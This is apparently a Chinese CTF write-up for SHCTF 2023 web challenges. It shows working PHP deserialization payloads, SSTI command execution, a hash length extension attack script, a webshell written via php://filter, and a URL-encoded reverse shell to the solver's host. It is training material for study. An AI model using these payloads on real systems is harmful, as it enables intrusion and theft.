赞
踩
源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag
源码js发现unicode编码
\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a
解码获得flag
这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag
使用POST json请求来生成你的邀请函
直接用脚本就行了
- import requests
-
- from PIL import Image
-
- import io
-
-
-
- url = "http://112.6.51.212:30908/generate_invitation"
-
-
-
- data = {
-
- "name": "C_yi",
-
- "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"
-
- }
-
-
-
- response = requests.post(url, json=data, verify=False)
-
-
-
- # 获取返回的图片内容
-
- image_content = response.content
-
-
-
- # 创建一个PIL的Image对象
-
- image = Image.open(io.BytesIO(image_content))
-
-
-
- # 保存图片
-
- image.save("avatar.jpg")
然后搜索avatar.jpg
得到flag
- <?php
-
- highlight_file(__FILE__);
-
-
-
- class A{
-
- public $var_1;
-
-
-
- public function __invoke(){
-
- include($this->var_1);
-
- }
-
- }
-
-
-
- class B{
-
- public $q;
-
- public function __wakeup()
-
- {
-
- if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
-
- echo "hacker";
-
- }
-
- }
-
-
-
- }
-
- class C{
-
- public $var;
-
- public $z;
-
- public function __toString(){
-
- return $this->z->var;
-
- }
-
- }
-
-
-
- class D{
-
- public $p;
-
- public function __get($key){
-
- $function = $this->p;
-
- return $function();
-
- }
-
- }
-
-
-
- if(isset($_GET['payload']))
-
- {
-
- unserialize($_GET['payload']);
-
- }
-
- ?>
代码审计
我们反推把 首先看输出点为include()函数
那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)
要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var
想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个
Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发
所以构造最终的代码
- <?php
-
- class A{
-
- public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
-
-
-
- }
-
-
-
- class B{
-
- public $q;
-
-
-
-
-
- }
-
- class C{
-
- public $var;
-
- public $z;
-
-
-
- }
-
-
-
- class D{
-
- public $p;
-
-
-
- }
-
- $b = new B();
-
- $c = new C();
-
- $b->q = $c;
-
- $d = new D();
-
- $c->z = $d;
-
- $d->p = new A();
-
- var_dump(serialize($b))
-
- ?>
Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
然后base64解码就得到falg了
这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了
所以也没啥难的 按照下面这个自己调试就饿可以了
我的是
- import requests
-
- url="http://112.6.51.212:32191/?num[]=1"
-
- data={
-
- 'c[ode':'very'*250000+'2023SHCTF'
-
- }
-
- r=requests.post(url,data=data)
-
- print(r.text)
这道题的考点就是研究preg_replace \e模式下的代码执行
可以看这篇文章
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
因为这道题的phpinfo()和大括号没被过滤
所以可以利用
题目就是通过get传参code post传参pattern 关键就是下面这句话
preg_replace 使用了 /e 模式,导致了代码可以被执行
那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern code传入
原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);
变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});
所以得到flag了
又是一道简单的反序列化题
Exp:
- <?php
-
-
-
- class flag{
-
- public $username = "admin";
-
- public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
-
-
-
-
-
- }
-
- $a = new flag();
-
- echo serialize($a);
Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}
解码获得flag
考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取
需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag
有点像ctfshow 里面的web361
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
发现flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
源代码
- <?php
- highlight_file(__FILE__);
- include("flag.php");
- if(isset($_POST['SHCTF'])){
- extract(parse_url($_POST['SHCTF']));
- if($$$scheme==='SHCTF'){
- echo(md5($flag));
- echo("</br>");
- }
- if(isset($_GET['length'])){
- $num=$_GET['length'];
- if($num*100!=intval($num*100)){
- echo(strlen($flag));
- echo("</br>");
- }
- }
- }
- if($_POST['SHCTF']!=md5($flag)){
- if($_POST['SHCTF']===md5($flag.urldecode($num))){
- echo("flag is".$flag);
- }
- }
逐级分析代码;
- if(isset($_POST['SHCTF'])){
- extract(parse_url($_POST['SHCTF']));
- if($$$scheme==='SHCTF'){
- echo(md5($flag));
- echo("</br>");
- }
这里的考点看下面一边文章就行
我这里的构造为 可以得到md5加密的falg
SHCTF=host://SHCTF:pass@user/SHCTF
分析下一段代码
- if(isset($_GET['length'])){
- $num=$_GET['length'];
- if($num*100!=intval($num*100)){
- echo(strlen($flag));
- echo("</br>");
- }
考察intval()函数的绕过 网上搜下就懂了 然后可以得到flag的长度
?length=1.001
得到 md5加密的flag 和长度
再看下一段
- if($_POST['SHCTF']!=md5($flag)){
- if($_POST['SHCTF']===md5($flag.urldecode($num))){
- echo("flag is".$flag);
- }
- }
传入SHCTF不能等于md5加密的flag ,然后看向最后的if语句,直接网上搜md5($flag.urldecode($num))
,可以搜到其考点为哈希拓展攻击。具体访问下面文章(挂个梯子)
- import base64
- import hashlib
- import hmac
- import struct
- import sys
- import time
- import urllib.parse
-
- from common.md5_manual import md5_manual
- from loguru import logger
- from common.crypto_utils import CryptoUtils
-
-
- class HashExtAttack:
- """
- 哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
- 目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
- """
-
- def __init__(self):
- self.know_text = b""
- self.know_text_padding = b""
- self.new_text = b""
- self.rand_str = b''
- self.know_hash = b"3c5a36dd888251601d36bbc184648717"
- self.key_length = 15
-
- def _padding_msg(self):
- """填充明文"""
- logger.debug("填充明文")
- self.know_text_padding = md5_manual.padding_str(self.know_text)
- logger.debug(f"已知明文填充:{self.know_text_padding}")
-
- def _gen_new_plain_text(self):
- """生成新明文"""
- self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
- logger.debug(f"new_text: {self.new_text}")
-
- def split_hash(self, hash_str: bytes):
- by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
- return struct.unpack("<IIII", by_new)
-
- def _guess_new_hash(self) -> tuple:
- """生成新hash"""
- # 第一步先生成新的字符串
- # 对已知明文进行填充
- self._padding_msg()
- # 第二步 生成新明文
- self._gen_new_plain_text()
- # 第三步 生成新hash(基于已知hash进行计算)
- # 3.1 hash拆分成4个分组
- hash_block = self.split_hash(hash_str=self.know_hash)
- md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
- tmp_str = md5_manual.padding_str(self.new_text)
- logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
- logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
- md5_manual.solve(tmp_str[-64:])
- self.new_hash = md5_manual.hex_digest()
-
- return self.new_text, self.new_hash
-
- def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
- # self.know_text = input("请输入已知明文:")
- self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接
- self.know_hash = know_hash.encode()
- self.rand_str = rand_str.encode()
-
- self._guess_new_hash()
- logger.info(f"已知明文:{self.know_text[key_len:]}")
- logger.info(f"已知hash:{self.know_hash}")
- logger.debug(f"任意填充:{self.rand_str}")
- logger.info(f"新明文:{self.new_text[key_len:]}")
- logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
- # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
- logger.info(f"新hash:{self.new_hash}")
- return self.new_text[key_len:], self.new_hash
-
- def input_run(self):
- time.sleep(0.2)
- self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
- int(input("请输入密钥长度:")))
-
- def test(self):
- self.run(
- "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
- "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)
-
-
- hash_ext_attack = HashExtAttack()
-
- if __name__ == '__main__':
-
- logger.remove()
- logger.add(sys.stderr, level="INFO")
- hash_ext_attack.input_run()
得到payload:
?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00ab
SHCTF=c4053dcc95bf563af279f7e4bb1f9e17
得到flag
用Kicky师傅的解法去复现吧
附件源码:
- from flask import *
- import subprocess
-
- app = Flask(__name__)
-
- def gett(obj,arg):
- tmp = obj
- for i in arg:
- tmp = getattr(tmp,i)
- return tmp
-
- def sett(obj,arg,num):
- tmp = obj
- for i in range(len(arg)-1):
- tmp = getattr(tmp,arg[i])
- setattr(tmp,arg[i+1],num)
-
- def hint(giveme,num,bol):
- c = gett(subprocess,giveme)
- tmp = list(c)
- tmp[num] = bol
- tmp = tuple(tmp)
- sett(subprocess,giveme,tmp)
-
- def cmd(arg):
- subprocess.call(arg)
-
-
- @app.route('/',methods=['GET','POST'])
- def exec():
- try:
- if request.args.get('exec')=='ok':
- shell = request.args.get('shell')
- cmd(shell)
- else:
- exp = list(request.get_json()['exp'])
- num = int(request.args.get('num'))
- bol = bool(request.args.get('bol'))
- hint(exp,num,bol)
- return 'ok'
- except:
- return 'error'
-
- if __name__ == '__main__':
- app.run(host='0.0.0.0',port=5000)
考点需要本地调试 Subprocess Call
第一步进行构造进行污染
?num=7&bol=True
post:
{
"exp": ["Popen", "__init__", "__defaults__"]
}
修改 Content-Type: application/json
返回 ok 代表成功
第二步构造
/?
exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2
F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22
反弹 shell 获得 flag
官方wp:
Subprocess.call函数有一个参数shell,当shell为True时,执行命令时是/bin/sh -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell参数默认为false。
进入subprocess函数查看call函数
可以看到实际上是调用的Popen类的函数,进入Popen看看
可以看到构造参数中shell默认为false
函数的默认参数保存在defaults属性中
通过查看得知shell参数的值在第7个,所以只需要修改7下标为True就可以执行任意命令了。
通过阅读代码,可以知道gett函数是通过遍历json获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值。
先修改shell参数,注意修改content-type
下来命令执行
读flag即可
这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久
js代码:
- var arr = ["o123:", "c456:", "d789:"];
-
- arr = arr.filter(function(element) {
-
- return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素
-
- });
-
- console.log(arr); // 输出: ["d789:"]
Pop链比较简单:wakeup()->get()->totring()
构造代码
- <?php
-
-
-
- class misca{
-
- public $gao;
-
- public $fei;
-
- public $a;
-
-
-
-
-
- }
-
- class musca{
-
- public $ding;
-
- public $dong;
-
-
-
- }
-
- class milaoshu{
-
- public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取
-
-
-
- }
-
-
-
- $m = new musca();
-
- $m->ding = new misca(); //这个就是触发get魔术方法
-
- $m->ding->gao = &$m->ding->a; //把gao赋值给a
-
- $m->ding->fei = new milaoshu(); //触发tostring魔术方法
-
- echo serialize(array($m)); //利用数组进行绕过正则匹配
Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
解码获得flag
这种短时间内回答的题一看就是要脚本
根据源码写paylaod就行
- import requests
- import re
- import time
- def post_answer(url, headers, answer, cookie):#发送请求
- answer1 = {'answer': answer}
- response=requests.Session()
- response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
- return response
-
- def parse_question(response):#用于计算答案
- html = response.text
- answer=0
- pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
- match = pattern.search(html)
- if match:
- question = match.group(1)
- numbers = re.findall(r"\d+", question)
- operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
- op=operation[0]
- if len(numbers) == 2:
- a = int(numbers[0])
- b = int(numbers[1])
- if op == "异或":
- answer = a ^ b
- if op == "与":
- answer = a & b
- if op == "-":
- answer = a - b
- if op == "+":
- answer = a + b
- if op == "x":
- answer = a * b
- if op == "÷":
- answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
- #print(question)
- #print(answer)
- else:
- print("找不到题目")
- return answer
-
- url = "http://112.6.51.212:32776/" # 这里替换为你要访问的网址
- headers = {"Content-Type": "application/x-www-form-urlencoded"}
- cookie=0
- answer = 0
- for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
- time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间
- response = post_answer(url, headers, answer, cookie)
- print(response.text)#打印表单
- answer = parse_question(response)
- cookie = response.cookies
得到flag
源码:
- <?php
- error_reporting(0);
- highlight_file(__FILE__);
-
- class Start{
- public $barking;
- public function __construct(){
- $this->barking = new Flag;
- }
- public function __toString(){
- return $this->barking->dosomething();
- }
- }
-
- class CTF{
- public $part1;
- public $part2;
- public function __construct($part1='',$part2='') {
- $this -> part1 = $part1;
- $this -> part2 = $part2;
-
- }
- public function dosomething(){
- $useless = '<?php die("+Genshin Impact Start!+");?>';
- $useful= $useless. $this->part2;
- file_put_contents($this-> part1,$useful);
- }
- }
- class Flag{
- public function dosomething(){
- include('./flag,php');
- return "barking for fun!";
-
- }
- }
-
- $code=$_POST['code'];
- if(isset($code)){
- echo unserialize($code);
- }
- else{
- echo "no way, fuck off";
- }
- ?>
- no way, fuck off
出口函数 file_put_contents,很简单的pop链 Start:__tostring()->CTF:dosomething()
考点就是无非是file_put_contents()
大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个
里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功
那这里的考点就是file_put_contents利用技巧
具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)
我们直接构造paylaod:
<?php eval('system("ls /");'); ?> 然后base64编码(?前面不加空格 就会编码变成+号)
PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==
然后
构造脚本
- <?php
- class Start{
- public $barking;
- }
-
- class CTF{
- public $part1;
- public $part2;
- }
- $start=new Start();
- $start->barking=new CTF();
- $start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
- $start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
- //因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
- //然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag
-
- echo serialize($start);
- ?>
同理换成 cat /flag
Paylaod:
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}
考点:go代码审计,session伪造,通配符绕过
这里先贴一个windows下运行go 安装使用
https://blog.csdn.net/qq_42313447/article/details/114403953
下载源码得到三个路由
main.go
- package main
-
- import (
- "main/route"
-
- "github.com/gin-gonic/gin"
- )
-
- func main() {
- r := gin.Default()
- r.GET("/", route.Index)
- r.GET("/readflag", route.Readflag)
- r.Run("0.0.0.0:8000")
- }
分析一下,就是给了两个路由。
route.go
- package route
-
- import (
- "github.com/gin-gonic/gin"
- "github.com/gorilla/sessions"
- "main/readfile"
- "net/http"
- "os"
- "regexp"
- )
-
- var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
-
- func Index(c *gin.Context) {
- session, err := store.Get(c.Request, "session-name")
- if err != nil {
- http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
- return
- }
- if session.Values["name"] == nil {
- session.Values["name"] = "User"
- err = session.Save(c.Request, c.Writer)
- if err != nil {
- http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
- return
- }
- }
-
- c.String(200, "Hello, User. How to become admin?")
-
- }
-
- func Readflag(c *gin.Context) {
- session, err := store.Get(c.Request, "session-name")
- if err != nil {
- http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
- return
- }
- if session.Values["name"] == "admin" {
- c.String(200, "Congratulation! You are admin,But how to get flag?\n")
-
- path := c.Query("filename")
-
- reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
- if reg.MatchString(path) {
- http.Error(c.Writer, "nonono", http.StatusInternalServerError)
- return
- }
- var data []byte
- if path != "" {
- data = readfile.ReadFile(path)
- } else {
- data = []byte("请传入参数")
- }
- c.JSON(200, gin.H{
- "success": "read: " + string(data),
- })
- } else {
- c.String(200, "Hello, User. How to become admin?")
- }
- }
我们分析一下下面这个index里面这个
如果name为nil 接着就改为user
我们再看看readflag里面这个 就发现name要为admin 才能接下来的步骤
这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的
那我们可不可以伪造session? 让他成为admin呢 我们知道session的加密方式为
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
我们猜测环境没有设置session-key,本地搭环境得到session值去伪造
意思就是我们只要把route.go里面的 index改为admin就行
session.Values["name"] = "admin"
然后go run .main.go
然后访问127.0.0.1:8000
,对应的cookie即为admin
最后就是readfile.go
- package readfile
-
- import (
- "os/exec"
- )
-
- func ReadFile(path string) (string2 []byte) {
- defer func() {
- panic_err := recover()
- if panic_err != nil {
-
- }
- }()
- cmd := exec.Command("bash", "-c", "strings "+path)
- string2, err := cmd.Output()
- if err != nil {
- string2 = []byte("文件不存在")
- }
- return string2
- }
简单的读取文件,构造出读取文件的语句 ,我们还记得给了两个路由 我们访问readflag
然后看看过滤条件
- reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过 得到flag
?filename=/??a?
- #filename=/bin/base /flag
- filename=/???/?a??64%09/??a?
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。